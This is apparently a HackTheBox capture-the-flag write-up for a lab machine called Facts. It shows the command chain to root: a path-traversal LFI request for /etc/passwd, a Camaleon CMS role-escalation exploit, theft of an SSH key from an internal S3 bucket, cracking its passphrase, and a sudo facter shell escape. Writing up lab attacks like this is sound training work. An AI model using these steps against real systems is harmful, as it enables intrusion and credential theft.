CTF WRITEUP HACKTHEBOX LINUX

Facts: CMS Chain to Root

person

Written By

0x74shelby

Difficulty

Platform

HackTheBox

Target IP

10.129.49.72

01_Reconnaissance

terminal / nmap
$ sudo nmap -sV -sC -p- 10.129.49.72 -oA fullfactsscan

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1
80/tcp open  http    (Camaleon CMS 2.9.0)
terminal / feroxbuster
$ feroxbuster -u http://facts.htb/

200      GET       /admin

02_LFI_and_Privilege_Escalation

terminal / LFI confirm
$ curl -q -b 'COOKIEVALUE' \
  "http://facts.htb/admin/media/download_private_file?file=../../../../../../etc/passwd"
terminal / role escalation exploit
$ python exploit.py -u http://facts.htb -U john -P [REDACTED] -e -r

# now admin — S3 endpoint + access keys recovered

03_S3_Bucket_to_SSH_Key

terminal / aws-cli against internal S3
$ aws configure --profile facts
$ aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/ --profile facts
$ aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh --profile facts
$ aws --endpoint-url http://facts.htb:54321 s3 cp \
    s3://internal/.ssh/id_ed25519 ./facts.id --profile facts
terminal / crack key passphrase
$ ssh2john facts.id > hash.txt
$ john hash.txt --wordlist=/opt/wordlists/rockyou.txt

# passphrase: [REDACTED]

$ chmod 600 facts.id
$ ssh trivia@facts.htb -i facts.id

04_PrivEsc_via_facter

terminal / sudo -l
$ sudo -l

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter
terminal / facter exploit
$ echo 'exec "/bin/bash"' > exploit.rb
$ sudo /usr/bin/facter --custom-dir /tmp exploit

# whoami → root
# cat /root/root.txt